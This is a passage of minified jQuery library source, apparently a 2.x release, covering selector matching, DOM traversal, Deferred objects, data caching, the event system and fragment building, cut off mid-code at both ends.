a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&\"ID\"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split(\"\").sort(B).join(\"\")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement(\"div\"))}),ja(function(a){return a.innerHTML=\"<a href='#'></a>\",\"#\"===a.firstChild.getAttribute(\"href\")})||ka(\"type|href|height|width\",function(a,b,c){return c?void 0:a.getAttribute(b,\"type\"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML=\"<input/>\",a.firstChild.setAttribute(\"value\",\"\"),\"\"===a.firstChild.getAttribute(\"value\")})||ka(\"value\",function(a,b,c){return c||\"input\"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute(\"disabled\")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[\":\"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\\w+)\\s*\\/?>(?:<\\/\\1>|)$/,w=/^.[^:#\\[\\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if(\"string\"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=\":not(\"+a+\")\"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if(\"string\"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+\" \"+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,\"string\"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\\s*(<[\\w\\W]+>)[^>]*|#([\\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if(\"string\"==typeof a){if(c=\"<\"===a[0]&&\">\"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?\"undefined\"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||\"string\"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?\"string\"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,\"parentNode\")},parentsUntil:function(a,b,c){return n.dir(a,\"parentNode\",c)},next:function(a){return D(a,\"nextSibling\")},prev:function(a){return D(a,\"previousSibling\")},nextAll:function(a){return n.dir(a,\"nextSibling\")},prevAll:function(a){return n.dir(a,\"previousSibling\")},nextUntil:function(a,b,c){return n.dir(a,\"nextSibling\",c)},prevUntil:function(a,b,c){return n.dir(a,\"previousSibling\",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return\"Until\"!==a.slice(-5)&&(d=c),d&&\"string\"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a=\"string\"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);\"function\"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&\"string\"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[[\"resolve\",\"done\",n.Callbacks(\"once memory\"),\"resolved\"],[\"reject\",\"fail\",n.Callbacks(\"once memory\"),\"rejected\"],[\"notify\",\"progress\",n.Callbacks(\"memory\")]],c=\"pending\",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+\"With\"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+\"With\"](this===e?d:this,arguments),this},e[f[0]+\"With\"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler(\"ready\"),n(l).off(\"ready\"))))}});function I(){l.removeEventListener(\"DOMContentLoaded\",I,!1),a.removeEventListener(\"load\",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),\"complete\"===l.readyState?setTimeout(n.ready):(l.addEventListener(\"DOMContentLoaded\",I,!1),a.addEventListener(\"load\",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if(\"object\"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if(\"string\"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&\"string\"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\\{[\\w\\W]*\\}|\\[[\\w\\W]*\\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d=\"data-\"+b.replace(O,\"-$1\").toLowerCase(),c=a.getAttribute(d),\"string\"==typeof c){try{c=\"true\"===c?!0:\"false\"===c?!1:\"null\"===c?null:+c+\"\"===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){\nreturn M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,\"hasDataAttrs\"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf(\"data-\")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,\"hasDataAttrs\",!0)}return e}return\"object\"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf(\"-\")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||\"fx\")+\"queue\",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||\"fx\";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};\"inprogress\"===e&&(e=c.shift(),d--),e&&(\"fx\"===b&&c.unshift(\"inprogress\"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+\"queueHooks\";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks(\"once memory\").add(function(){L.remove(a,[b+\"queue\",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return\"string\"!=typeof a&&(b=a,a=\"fx\",c--),arguments.length<c?n.queue(this[0],a):void 0===b?this:this.each(function(){var c=n.queue(this,a,b);n._queueHooks(this,a),\"fx\"===a&&\"inprogress\"!==c[0]&&n.dequeue(this,a)})},dequeue:function(a){return this.each(function(){n.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||\"fx\",[])},promise:function(a,b){var c,d=1,e=n.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};\"string\"!=typeof a&&(b=a,a=void 0),a=a||\"fx\";while(g--)c=L.get(f[g],a+\"queueHooks\"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}});var Q=/[+-]?(?:\\d*\\.|)\\d+(?:[eE][+-]?\\d+|)/.source,R=[\"Top\",\"Right\",\"Bottom\",\"Left\"],S=function(a,b){return a=b||a,\"none\"===n.css(a,\"display\")||!n.contains(a.ownerDocument,a)},T=/^(?:checkbox|radio)$/i;!function(){var a=l.createDocumentFragment(),b=a.appendChild(l.createElement(\"div\")),c=l.createElement(\"input\");c.setAttribute(\"type\",\"radio\"),c.setAttribute(\"checked\",\"checked\"),c.setAttribute(\"name\",\"t\"),b.appendChild(c),k.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML=\"<textarea>x</textarea>\",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U=\"undefined\";k.focusinBubbles=\"onfocusin\"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||\"\").match(E)||[\"\"],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||\"\").split(\".\").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(\".\")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||\"\").match(E)||[\"\"],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||\"\").split(\".\").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp(\"(^|\\\\.)\"+p.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&(\"**\"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,\"events\"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,\"type\")?b.type:b,r=j.call(b,\"namespace\")?b.namespace.split(\".\"):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(\".\")>=0&&(r=q.split(\".\"),q=r.shift(),r.sort()),k=q.indexOf(\":\")<0&&\"on\"+q,b=b[n.expando]?b:new n.Event(q,\"object\"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join(\".\"),b.namespace_re=b.namespace?new RegExp(\"(^|\\\\.)\"+r.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,\"events\")||{})[b.type]&&L.get(g,\"handle\"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,\"events\")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||\"click\"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||\"click\"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+\" \",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h<b.length&&g.push({elem:this,handlers:b.slice(h)}),g},props:\"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which\".split(\" \"),fixHooks:{},keyHooks:{props:\"char charCode key keyCode\".split(\" \"),filter:function(a,b){return null==a.which&&(a.which=null!=b.charCode?b.charCode:b.keyCode),a}},mouseHooks:{props:\"button buttons clientX clientY offsetX offsetY pageX pageY screenX screenY toElement\".split(\" \"),filter:function(a,b){var c,d,e,f=b.button;return null==a.pageX&&null!=b.clientX&&(c=a.target.ownerDocument||l,d=c.documentElement,e=c.body,a.pageX=b.clientX+(d&&d.scrollLeft||e&&e.scrollLeft||0)-(d&&d.clientLeft||e&&e.clientLeft||0),a.pageY=b.clientY+(d&&d.scrollTop||e&&e.scrollTop||0)-(d&&d.clientTop||e&&e.clientTop||0)),a.which||void 0===f||(a.which=1&f?1:2&f?3:4&f?2:0),a}},fix:function(a){if(a[n.expando])return a;var b,c,d,e=a.type,f=a,g=this.fixHooks[e];g||(this.fixHooks[e]=g=W.test(e)?this.mouseHooks:V.test(e)?this.keyHooks:{}),d=g.props?this.props.concat(g.props):this.props,a=new n.Event(f),b=d.length;while(b--)c=d[b],a[c]=f[c];return a.target||(a.target=l),3===a.target.nodeType&&(a.target=a.target.parentNode),g.filter?g.filter(a,f):a},special:{load:{noBubble:!0},focus:{trigger:function(){return this!==_()&&this.focus?(this.focus(),!1):void 0},delegateType:\"focusin\"},blur:{trigger:function(){return this===_()&&this.blur?(this.blur(),!1):void 0},delegateType:\"focusout\"},click:{trigger:function(){return\"checkbox\"===this.type&&this.click&&n.nodeName(this,\"input\")?(this.click(),!1):void 0},_default:function(a){return n.nodeName(a.target,\"a\")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&a.originalEvent&&(a.originalEvent.returnValue=a.result)}}},simulate:function(a,b,c,d){var e=n.extend(new n.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?n.event.trigger(e,null,b):n.event.dispatch.call(b,e),e.isDefaultPrevented()&&c.preventDefault()}},n.removeEvent=function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c,!1)},n.Event=function(a,b){return this instanceof n.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&a.returnValue===!1?Z:$):this.type=a,b&&n.extend(this,b),this.timeStamp=a&&a.timeStamp||n.now(),void(this[n.expando]=!0)):new n.Event(a,b)},n.Event.prototype={isDefaultPrevented:$,isPropagationStopped:$,isImmediatePropagationStopped:$,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=Z,a&&a.preventDefault&&a.preventDefault()},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=Z,a&&a.stopPropagation&&a.stopPropagation()},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=Z,a&&a.stopImmediatePropagation&&a.stopImmediatePropagation(),this.stopPropagation()}},n.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\",pointerenter:\"pointerover\",pointerleave:\"pointerout\"},function(a,b){n.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return(!e||e!==d&&!n.contains(d,e))&&(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),k.focusinBubbles||n.each({focus:\"focusin\",blur:\"focusout\"},function(a,b){var c=function(a){n.event.simulate(b,a.target,n.event.fix(a),!0)};n.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=L.access(d,b);e||d.addEventListener(a,c,!0),L.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=L.access(d,b)-1;e?L.access(d,b,e):(d.removeEventListener(a,c,!0),L.remove(d,b))}}}),n.fn.extend({on:function(a,b,c,d,e){var f,g;if(\"object\"==typeof a){\"string\"!=typeof b&&(c=c||b,b=void 0);for(g in a)this.on(g,b,c,a[g],e);return this}if(null==c&&null==d?(d=b,c=b=void 0):null==d&&(\"string\"==typeof b?(d=c,c=void 0):(d=c,c=b,b=void 0)),d===!1)d=$;else if(!d)return this;return 1===e&&(f=d,d=function(a){return n().off(a),f.apply(this,arguments)},d.guid=f.guid||(f.guid=n.guid++)),this.each(function(){n.event.add(this,a,d,c,b)})},one:function(a,b,c,d){return this.on(a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,n(a.delegateTarget).off(d.namespace?d.origType+\".\"+d.namespace:d.origType,d.selector,d.handler),this;if(\"object\"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return(b===!1||\"function\"==typeof b)&&(c=b,b=void 0),c===!1&&(c=$),this.each(function(){n.event.remove(this,a,c,b)})},trigger:function(a,b){return this.each(function(){n.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];return c?n.event.trigger(a,b,c,!0):void 0}});var aa=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^>]*)\\/>/gi,ba=/<([\\w:]+)/,ca=/<|&#?\\w+;/,da=/<(?:script|style|link)/i,ea=/checked\\s*(?:[^=]|=\\s*.checked.)/i,fa=/^$|\\/(?:java|ecma)script/i,ga=/^true\\/(.*)/,ha=/^\\s*<!(?:\\[CDATA\\[|--)|(?:\\]\\]|--)>\\s*$/g,ia={option:[1,\"<select multiple='multiple'>\",\"</select>\"],thead:[1,\"<table>\",\"</table>\"],col:[2,\"<table><colgroup>\",\"</colgroup></table>\"],tr:[2,\"<table><tbody>\",\"</tbody></table>\"],td:[3,\"<table><tbody><tr>\",\"</tr></tbody></table>\"],_default:[0,\"\",\"\"]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,\"table\")&&n.nodeName(11!==b.nodeType?b:b.firstChild,\"tr\")?a.getElementsByTagName(\"tbody\")[0]||a.appendChild(a.ownerDocument.createElement(\"tbody\")):a}function ka(a){return a.type=(null!==a.getAttribute(\"type\"))+\"/\"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute(\"type\"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],\"globalEval\",!b||L.get(b[c],\"globalEval\"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||\"*\"):a.querySelectorAll?a.querySelectorAll(b||\"*\"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();\"input\"===c&&T.test(a.type)?b.checked=a.checked:(\"input\"===c||\"textarea\"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,\"script\"),g.length>0&&ma(g,!i&&oa(a,\"script\")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if(\"object\"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement(\"div\")),g=(ba.exec(e)||[\"\",\"\"])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,\"<$1></$2>\")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=\"\"}else l.push(b.createTextNode(e));k.textContent=\"\",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),\"script\"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||\"\")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var 